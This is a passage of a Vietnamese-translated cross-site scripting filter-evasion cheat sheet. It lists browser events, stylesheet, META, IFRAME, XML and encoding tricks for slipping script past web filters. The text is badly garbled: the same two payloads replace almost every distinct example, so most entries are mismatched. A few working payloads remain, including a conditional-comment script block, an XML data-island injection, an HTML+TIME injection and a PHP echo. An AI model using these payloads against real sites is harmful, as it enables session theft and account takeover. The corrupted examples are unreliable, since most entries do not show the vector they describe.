56 (xảy ra nếu trình duyệt đang hoạt động ở chế độ trực tuyến và nó bắt đầu hoạt động ngoại tuyến)Set.constructor`alert\x28document.domain\x29
57 (xảy ra nếu trình duyệt đang hoạt động ở chế độ ngoại tuyến và nó bắt đầu hoạt động trực tuyến)Set.constructor`alert\x28document.domain\x29
58 (làm gián đoạn khả năng phát phương tiện của phần tử như được xác định bởi dòng thời gian)Set.constructor`alert\x28document.domain\x29
59 (người dùng cần dán hoặc kẻ tấn công có thể sử dụng hàm <A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
3)Set.constructor`alert\x28document.domain\x29
61 (sự kiện tạm dừng kích hoạt mọi phần tử đang hoạt động khi dòng thời gian tạm dừng, bao gồm cả phần tử cơ thể)Set.constructor`alert\x28document.domain\x29
62 (kích hoạt khi người dùng điều hướng lịch sử phiên)Set.constructor`alert\x28document.domain\x29
63 (kẻ tấn công sẽ sử dụng điều này khi đang tải một bộ phim flash)Set.constructor`alert\x28document.domain\x29
64 (người dùng hoặc kẻ tấn công sẽ cần thay đổi thuộc tính phần tử)Set.constructor`alert\x28document.domain\x29
65 (người dùng hoặc kẻ tấn công sẽ cần thay đổi thuộc tính phần tử)Set.constructor`alert\x28document.domain\x29
66 (người dùng tiếp tục trong lịch sử giao dịch hoàn tác)Set.constructor`alert\x28document.domain\x29
67 (sự kiện kích hoạt một lần cho mỗi lần lặp lại dòng thời gian, không bao gồm toàn bộ chu kỳ đầu tiên)Set.constructor`alert\x28document.domain\x29
68 (người dùng hoặc kẻ tấn công đặt lại biểu mẫu)Set.constructor`alert\x28document.domain\x29
69 (người dùng sẽ thay đổi kích thước cửa sổ; kẻ tấn công có thể tự động khởi chạy bằng nội dung nào đó như. Set.constructor`alert\x28document.domain\x29
70)Set.constructor`alert\x28document.domain\x29
71 (người dùng sẽ thay đổi kích thước cửa sổ; kẻ tấn công có thể tự động khởi tạo bằng thứ gì đó như. Set.constructor`alert\x28document.domain\x29
70)Set.constructor`alert\x28document.domain\x29
73 (người dùng sẽ thay đổi kích thước cửa sổ; kẻ tấn công có thể tự động khởi tạo bằng thứ gì đó như. Set.constructor`alert\x28document.domain\x29
70)Set.constructor`alert\x28document.domain\x29
75 (sự kiện onresume kích hoạt mọi phần tử sẽ hoạt động khi dòng thời gian tiếp tục, bao gồm cả phần tử cơ thể)Set.constructor`alert\x28document.domain\x29
76 (nếu phần tử có số lần lặp lại lớn hơn một, thì sự kiện này sẽ kích hoạt mỗi khi dòng thời gian bắt đầu phát ngược)Set.constructor`alert\x28document.domain\x29
77 (người dùng hoặc kẻ tấn công sẽ cần thay đổi một hàng trong nguồn dữ liệu)Set.constructor`alert\x28document.domain\x29
78 (người dùng hoặc kẻ tấn công sẽ cần thay đổi một hàng trong nguồn dữ liệu)Set.constructor`alert\x28document.domain\x29
79 (người dùng hoặc kẻ tấn công sẽ cần xóa một hàng trong nguồn dữ liệu)Set.constructor`alert\x28document.domain\x29
80 (người dùng hoặc kẻ tấn công sẽ cần chèn một hàng vào nguồn dữ liệu)Set.constructor`alert\x28document.domain\x29
81 (người dùng sẽ cần cuộn hoặc kẻ tấn công có thể sử dụng chức năng Set.constructor`alert\x28document.domain\x29
82)Set.constructor`alert\x28document.domain\x29
83 (sự kiện đảo ngược kích hoạt khi dòng thời gian được thiết lập để phát theo bất kỳ hướng nào khác ngoài chuyển tiếp)Set.constructor`alert\x28document.domain\x29
84 (người dùng cần chọn một số văn bản - kẻ tấn công có thể tự động khởi tạo bằng nội dung nào đó như. Set.constructor`alert\x28document.domain\x29
85)Set.constructor`alert\x28document.domain\x29
86 (người dùng cần chọn một số văn bản - kẻ tấn công có thể tự động khởi tạo bằng nội dung nào đó như. Set.constructor`alert\x28document.domain\x29
85)Set.constructor`alert\x28document.domain\x29
88 (người dùng cần chọn một số văn bản - kẻ tấn công có thể tự động khởi tạo bằng nội dung nào đó như. Set.constructor`alert\x28document.domain\x29
85)Set.constructor`alert\x28document.domain\x29
90 (cháy ở đầu mỗi vòng lặp marquee)Set.constructor`alert\x28document.domain\x29
91 (người dùng cần nhấn nút dừng hoặc rời khỏi trang web)Set.constructor`alert\x28document.domain\x29
92 (khu vực lưu trữ đã thay đổi)Set.constructor`alert\x28document.domain\x29
93 (người dùng làm gián đoạn khả năng phát phương tiện của phần tử như được xác định bởi dòng thời gian để kích hoạt)Set.constructor`alert\x28document.domain\x29
94 (yêu cầu kẻ tấn công hoặc người dùng gửi biểu mẫu)Set.constructor`alert\x28document.domain\x29
95 (người dùng hoặc kẻ tấn công đặt thuộc tính thời gian, chẳng hạn như dur, thành giá trị không hợp lệ)Set.constructor`alert\x28document.domain\x29
96 (người dùng hoặc kẻ tấn công thay đổi bản nhạc trong danh sách phát)Set.constructor`alert\x28document.domain\x29
97 (người dùng đã lùi lại trong lịch sử giao dịch hoàn tác)Set.constructor`alert\x28document.domain\x29
98 (khi người dùng nhấp vào bất kỳ liên kết nào hoặc nhấn nút quay lại hoặc kẻ tấn công buộc phải nhấp)Set.constructor`alert\x28document.domain\x29
99 (sự kiện này kích hoạt khi tệp Định dạng phát trực tuyến nâng cao (ASF), được phát bởi thẻ phương tiện HTML+TIME (Tiện ích mở rộng đa phương tiện tương tác theo thời gian), xử lý các lệnh tập lệnh được nhúng trong tệp ASF)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
00 (đây là phương pháp định vị điểm đã chỉ định trên dòng thời gian phân đoạn của phần tử và bắt đầu phát từ thời điểm đó. Phân đoạn bao gồm một lần lặp lại dòng thời gian bao gồm phát ngược lại bằng thuộc tính AUTOREVERSE. )
BGSOUNDexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
01& JavaScript bao gồmexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
02tờ PHONG CÁCHexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
03Biểu định kiểu từ xaSử dụng thứ gì đó đơn giản như biểu định kiểu từ xa, bạn có thể bao gồm XSS của mình vì tham số kiểu có thể được xác định lại bằng cách sử dụng biểu thức được nhúng. Điều này chỉ hoạt động trong IE và Netscape 8. 1+ trong chế độ công cụ kết xuất IE. Lưu ý rằng không có gì trên trang cho thấy có JavaScript được bao gồm. Ghi chú. Với tất cả các ví dụ biểu định kiểu từ xa này, chúng sử dụng thẻ body, vì vậy nó sẽ không hoạt động trừ khi có một số nội dung trên trang không phải là chính vectơ, vì vậy bạn sẽ cần thêm một chữ cái vào trang để tạo exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
04Bảng định kiểu từ xa phần 2Điều này hoạt động tương tự như trên, nhưng sử dụng thẻ exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
05 thay vì thẻ exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
06). Một biến thể nhỏ trên vectơ này đã được sử dụng để hack Google Desktop. Như một lưu ý phụ, bạn có thể xóa thẻ kết thúc exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
07 nếu có HTML ngay sau vectơ để đóng nó. Điều này hữu ích nếu bạn không thể có dấu bằng hoặc dấu gạch chéo trong cuộc tấn công tập lệnh chéo trang của mình, điều này đã xuất hiện ít nhất một lần trong thế giới thựcexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
08Bảng định kiểu từ xa phần 3Điều này chỉ hoạt động trong Opera 8. 0 (không còn trong 9. x) nhưng khá phức tạp. Theo RFC2616, cài đặt tiêu đề liên kết không phải là một phần của HTTP1. 1, tuy nhiên một số trình duyệt vẫn cho phép nó (như Firefox và Opera). Mẹo ở đây là tôi đang đặt một tiêu đề (về cơ bản không khác gì trong tiêu đề HTTP có nội dung là exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
09) và biểu định kiểu từ xa với vectơ tập lệnh chéo trang của tôi đang chạy JavaScript, vốn không được hỗ trợ trong FireFoxexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
10Bảng định kiểu từ xa phần 4Điều này chỉ hoạt động trong các công cụ kết xuất Gecko và hoạt động bằng cách liên kết tệp XUL với trang mẹ. Tôi nghĩ điều trớ trêu ở đây là Netscape cho rằng Gecko an toàn hơn và do đó dễ bị ảnh hưởng bởi điều này đối với đại đa số các trang web exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
11Thẻ STYLE với JavaScript bị hỏng cho XSSXSS này đôi khi gửi IE vào một vòng lặp cảnh báo vô tận exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
12Thuộc tính PHONG CÁCH sử dụng Nhận xét cho Biểu thức chia tayTạo bởi Roman Ivanov exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
13IMG STYLE với biểu cảmĐây thực sự là sự kết hợp của các vectơ XSS ở trên, nhưng nó thực sự cho thấy mức độ khó để phân tích các thẻ STYLE, như ở trên, điều này có thể đưa IE vào một vòng lặp exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
Thẻ STYLE (Chỉ các phiên bản cũ hơn của Netscape)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
14Thẻ STYLE sử dụng hình nềnexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
15Thẻ STYLE sử dụng Nềnexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
16 exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
17HTML ẩn danh với thuộc tính STYLEIE6. 0 và Netscape 8. 1+ trong chế độ công cụ kết xuất IE không thực sự quan tâm liệu thẻ HTML bạn tạo có tồn tại hay không, miễn là nó bắt đầu bằng dấu ngoặc nhọn mở và một chữ cái exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
18Tệp htc cục bộĐiều này hơi khác so với hai vectơ tập lệnh chéo trang ở trên vì nó sử dụng một. htc phải nằm trên cùng một máy chủ với vectơ XSS. Tệp ví dụ hoạt động bằng cách lấy JavaScript và chạy nó như một phần của thuộc tính style exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
19Mã hóa US-ASCIIMã hóa US-ASCII (được tìm thấy bởi Kurt Huwig). Điều này sử dụng mã hóa ASCII không đúng định dạng với 7 bit thay vì 8. XSS này có thể bỏ qua nhiều bộ lọc nội dung nhưng chỉ hoạt động nếu máy chủ truyền ở dạng mã hóa US-ASCII hoặc nếu bạn tự đặt mã hóa. Điều này hữu ích hơn đối với việc trốn tránh tập lệnh chéo trang của tường lửa ứng dụng web hơn là trốn tránh bộ lọc phía máy chủ. Apache Tomcat là máy chủ được biết đến duy nhất truyền mã hóa US-ASCII exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
20METAĐiều kỳ lạ về làm mới meta là nó không gửi liên kết giới thiệu trong tiêu đề - vì vậy nó có thể được sử dụng cho một số kiểu tấn công nhất định mà bạn cần loại bỏ các URL giới thiệu exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
21META sử dụng dữ liệuLược đồ URL chỉ thị. Điều này thật tuyệt vì nó cũng không có bất kỳ thứ gì rõ ràng có từ SCRIPT hoặc chỉ thị JavaScript trong đó, bởi vì nó sử dụng mã hóa base64. Vui lòng xem RFC 2397 để biết thêm chi tiết hoặc vào đây hoặc đây để mã hóa của riêng bạn. Bạn cũng có thể sử dụng máy tính XSS bên dưới nếu bạn chỉ muốn mã hóa HTML hoặc JavaScript thô vì nó có phương pháp mã hóa Base64 exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
22META với Tham số URL bổ sungNếu trang web mục tiêu cố gắng xem liệu URL có chứa exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
23 ngay từ đầu hay không, bạn có thể tránh nó bằng kỹ thuật sau (Được gửi bởi Moritz Naumann)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
24KHUNG KHUNGNếu iframe được cho phép thì cũng có rất nhiều vấn đề XSS khác exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
25IFRAME dựa trên sự kiệnIFrames và hầu hết các yếu tố khác có thể sử dụng tình trạng lộn xộn dựa trên sự kiện như sau. (Gửi bởi. David Cross) exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
26KHUNGCác khung có cùng loại sự cố XSS như iframe exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
27BÀNexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
28TĐGiống như trên, TD dễ bị ảnh hưởng bởi BỐI CẢNH chứa vectơ XSS JavaScript exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
29BHTGDIV Hình nềnexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
30Hình nền DIV với Khai thác XSS UnicodedĐiều này đã được sửa đổi một chút để làm xáo trộn tham số URL. Lỗ hổng ban đầu được tìm thấy bởi Renaud Lifchitz là một lỗ hổng trong Hotmail exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
31DIV Hình nền cộng với các ký tự bổ sungRnaske đã xây dựng một bộ làm mờ XSS nhanh chóng để phát hiện bất kỳ ký tự sai nào được cho phép sau dấu ngoặc đơn mở nhưng trước lệnh JavaScript trong IE và Netscape 8. 1 ở chế độ trang web an toàn. Đây là số thập phân nhưng tất nhiên bạn có thể bao gồm hex và thêm phần đệm. (Có thể sử dụng bất kỳ ký tự nào sau đây. 1-32, 34, 39, 160, 8192-8. 13, 12288, 65279) exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
32Biểu thức DIVMột biến thể của điều này có hiệu quả đối với bộ lọc tập lệnh chéo trang trong thế giới thực bằng cách sử dụng một dòng mới giữa dấu hai chấm và "biểu thức" exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
33Downlevel-Hidden BlockChỉ hoạt động trong IE5. 0 trở lên và Netscape 8. 1 trong chế độ công cụ kết xuất IE). Một số trang web coi mọi thứ bên trong khối nhận xét là an toàn và do đó không cần phải xóa, điều này cho phép vector Cross Site Scripting của chúng tôi. Hoặc hệ thống có thể thêm các thẻ nhận xét xung quanh nội dung nào đó để cố gắng làm cho nội dung đó trở nên vô hại. Như chúng ta có thể thấy, điều đó có lẽ sẽ không thực hiện được công việc <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
Thẻ CƠ SỞHoạt động trong IE và Netscape 8. 1 ở chế độ an toàn. Bạn cần có exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
34 để nhận xét các ký tự tiếp theo để bạn không gặp phải lỗi JavaScript và thẻ XSS của bạn sẽ hiển thị. Ngoài ra, điều này dựa trên thực tế là trang web sử dụng các hình ảnh được đặt động như exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
35 thay vì đường dẫn đầy đủ. Nếu đường dẫn bao gồm một dấu gạch chéo dẫn đầu như exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
36, bạn có thể xóa một dấu gạch chéo khỏi vectơ này (miễn là có hai dấu gạch chéo để bắt đầu nhận xét thì thao tác này sẽ hiệu quả)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
37Thẻ ĐỐI TƯỢNGNếu họ cho phép các đối tượng, bạn cũng có thể tiêm tải trọng vi-rút để lây nhiễm cho người dùng, v.v. và tương tự với thẻ APPLET). Tệp được liên kết thực sự là một tệp HTML có thể chứa XSS của bạn exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
38NHÚNG một bộ phim Flash chứa XSSNhấn vào đây để xem bản trình diễn. ~~http. // ha. thợ mỏ. tổ chức/xss. sf~~ exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
39Nếu bạn thêm các thuộc tính exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
40 và exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
41 thì có thể giảm thiểu rủi ro này (cảm ơn Jonathan Vanasco về thông tin này)EMBED SVG có chứa XSS VectorVí dụ này chỉ hoạt động trong Firefox, nhưng nó tốt hơn vectơ ở trên trong Firefox vì nó không yêu cầu người dùng bật hoặc cài đặt Flash. Cảm ơn nEUrOO vì điều này exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
42Sử dụng ActionScript bên trong Flash để làm rốia="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
Đảo dữ liệu XML với CDATA ObfuscationCuộc tấn công XSS này chỉ hoạt động trong IE và Netscape 8. 1 trong chế độ công cụ kết xuất IE) - vectơ được Sec Consult tìm thấy khi kiểm tra Yahoo <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
XML được lưu trữ cục bộ với JavaScript nhúng được tạo bằng đảo dữ liệu XMLĐiều này giống như trên nhưng thay vào đó đề cập đến một tệp XML được lưu trữ cục bộ (phải trên cùng một máy chủ) có chứa vectơ tập lệnh chéo trang của bạn. Bạn có thể xem kết quả tại đây <XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
HTML + THỜI GIAN trong XMLĐây là cách Gray Magic hack Hotmail và Yahoo. Điều này chỉ hoạt động trong Internet Explorer và Netscape 8. 1 trong chế độ công cụ kết xuất IE và hãy nhớ rằng bạn cần phải ở giữa các thẻ HTML và BODY để điều này hoạt động <HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
Giả sử bạn chỉ có thể điền vào một vài ký tự và nó lọc theo exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
43Bạn có thể đổi tên tệp JavaScript của mình thành hình ảnh dưới dạng vectơ XSS exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
44SSI (Bao gồm phía máy chủ)Điều này yêu cầu phải cài đặt SSI trên máy chủ để sử dụng vectơ XSS này. Tôi có lẽ không cần đề cập đến điều này, nhưng nếu bạn có thể chạy các lệnh trên máy chủ thì chắc chắn sẽ có nhiều vấn đề nghiêm trọng hơn exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
45PHPYêu cầu cài đặt PHP trên máy chủ để sử dụng vectơ XSS này. Một lần nữa, nếu bạn có thể chạy bất kỳ tập lệnh nào từ xa như thế này, thì có thể có nhiều vấn đề nghiêm trọng hơn <? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
Lệnh nhúng IMGĐiều này hoạt động khi trang web nơi điều này được đưa vào (như bảng web) nằm sau bảo vệ bằng mật khẩu và bảo vệ bằng mật khẩu đó hoạt động với các lệnh khác trên cùng một miền. Điều này có thể được sử dụng để xóa người dùng, thêm người dùng (nếu người dùng truy cập trang là quản trị viên), gửi thông tin đăng nhập ở nơi khác, v.v. Đây là một trong những vectơ XSS ít được sử dụng hơn nhưng hữu ích hơn exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
46Lệnh nhúng IMG phần IIĐiều này đáng sợ hơn vì hoàn toàn không có số nhận dạng nào khiến nó trông đáng ngờ ngoài việc nó không được lưu trữ trên miền của riêng bạn. Vectơ sử dụng 302 hoặc 304 (những cái khác cũng hoạt động) để chuyển hướng hình ảnh trở lại lệnh. Vì vậy, một exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
47 bình thường thực sự có thể là một vectơ tấn công để chạy các lệnh với tư cách là người dùng xem liên kết hình ảnh. Đây là. htaccess (dưới Apache) để thực hiện vector (cảm ơn Timo vì một phần của điều này)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
48Thao tác cookiePhải thừa nhận rằng điều này khá khó hiểu nhưng tôi đã thấy một số ví dụ cho phép exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
49 và bạn có thể sử dụng nó để ghi đè lên cookie. Có những ví dụ khác về các trang web thay vì tìm nạp tên người dùng từ cơ sở dữ liệu, nó được lưu trữ bên trong cookie để chỉ hiển thị cho người dùng truy cập trang. Khi kết hợp hai tình huống này, bạn có thể sửa đổi cookie của nạn nhân, cookie này sẽ được hiển thị lại cho họ dưới dạng JavaScript (bạn cũng có thể sử dụng cookie này để đăng xuất mọi người hoặc thay đổi trạng thái người dùng của họ, yêu cầu họ đăng nhập với tư cách là bạn, v.v. )exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
50Mã hóa UTF-7Nếu trang chứa XSS không cung cấp tiêu đề bộ ký tự trang hoặc bất kỳ trình duyệt nào được đặt thành mã hóa UTF-7 đều có thể bị khai thác bằng cách sau (Cảm ơn Roman Ivanov về điều này). Nhấp vào đây để biết ví dụ (bạn không cần câu lệnh bộ ký tự nếu trình duyệt của người dùng được đặt thành tự động phát hiện và không có loại nội dung nào ghi đè trên trang trong Internet Explorer và Netscape 8. 1 trong chế độ công cụ kết xuất IE). Điều này không hoạt động trong bất kỳ trình duyệt hiện đại nào mà không thay đổi loại mã hóa, đó là lý do tại sao nó được đánh dấu là hoàn toàn không được hỗ trợ. Watchfire đã tìm thấy lỗ hổng này trong tập lệnh 404 tùy chỉnh của Google exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
51XSS Sử dụng Đóng gói Trích dẫn HTMLĐiều này đã được thử nghiệm trong IE, số dặm của bạn có thể thay đổi. Để thực hiện XSS trên các trang web cho phép exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
52 nhưng không cho phép exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
53 bằng bộ lọc regex exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
54exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
55Để thực hiện XSS trên các trang web cho phép exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
52 nhưng không cho phép exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
57 bằng bộ lọc biểu thức chính quy exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58 (đây là một bộ lọc quan trọng, vì tôi đã thấy biểu thức chính quy này trong tự nhiên)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
59Một XSS khác để tránh cùng một bộ lọc, exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
61Một XSS khác để tránh cùng một bộ lọc, exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58. Tôi biết tôi đã nói rằng tôi sẽ không thảo luận về các kỹ thuật giảm thiểu nhưng điều duy nhất tôi thấy có hiệu quả đối với ví dụ XSS này nếu bạn vẫn muốn cho phép các thẻ exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
52 chứ không phải tập lệnh từ xa là một máy trạng thái (và tất nhiên có nhiều cách khác exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
65Và một cuộc tấn công XSS cuối cùng để tránh, exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
58 sử dụng dấu trọng âm (một lần nữa, không hoạt động trong Firefox)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
67>______4_______68Đây là một ví dụ XSS đặt cược vào thực tế là biểu thức chính quy sẽ không bắt được một cặp dấu ngoặc kép phù hợp mà sẽ tìm thấy bất kỳ dấu ngoặc kép nào để chấm dứt chuỗi tham số không đúng cách exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
69XSS này vẫn làm tôi lo lắng, vì gần như không thể ngăn chặn điều này nếu không chặn tất cả nội dung đang hoạt động exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
70Né tránh chuỗi URLGiả sử exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
71 không được phép lập trìnhIP so với tên máy chủexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
72Mã hóa URLexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
73Mã hóa DWORDGhi chú. có các biến thể khác của mã hóa Dword - xem máy tính IP Obfuscation bên dưới để biết thêm chi tiết exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
74mã hóa hexTổng kích thước của mỗi số được phép nằm ở đâu đó trong vùng lân cận của tổng số 240 ký tự như bạn có thể thấy trên chữ số thứ hai và vì số hex nằm trong khoảng từ 0 đến F nên không bắt buộc phải có số 0 đứng đầu trong dấu ngoặc kép thứ ba) exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
75Mã hóa bát phânMột lần nữa, phần đệm được cho phép, mặc dù bạn phải giữ nó trên tổng số 4 ký tự cho mỗi lớp - như trong lớp A, lớp B, v.v. exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
76Mã hóa Base64exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
77mã hóa hỗn hợpHãy kết hợp và kết hợp mã hóa cơ sở và đưa vào một số tab và dòng mới - tại sao các trình duyệt cho phép điều này, tôi sẽ không bao giờ biết). Các tab và dòng mới chỉ hoạt động nếu điều này được gói gọn trong dấu ngoặc kép <A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
Bỏ qua độ phân giải giao thứcexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
34 dịch thành exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
79 giúp tiết kiệm thêm một vài byte. Điều này thực sự hữu ích khi không gian cũng là một vấn đề (hai ký tự ít hơn có thể đi một chặng đường dài) và có thể dễ dàng bỏ qua biểu thức chính quy như exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
80 (cảm ơn Ozh về phần này). Bạn cũng có thể thay đổi exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
34 thành exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
82. Tuy nhiên, bạn cần phải giữ nguyên dấu gạch chéo, nếu không, điều này sẽ được hiểu là URL đường dẫn tương đốiexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
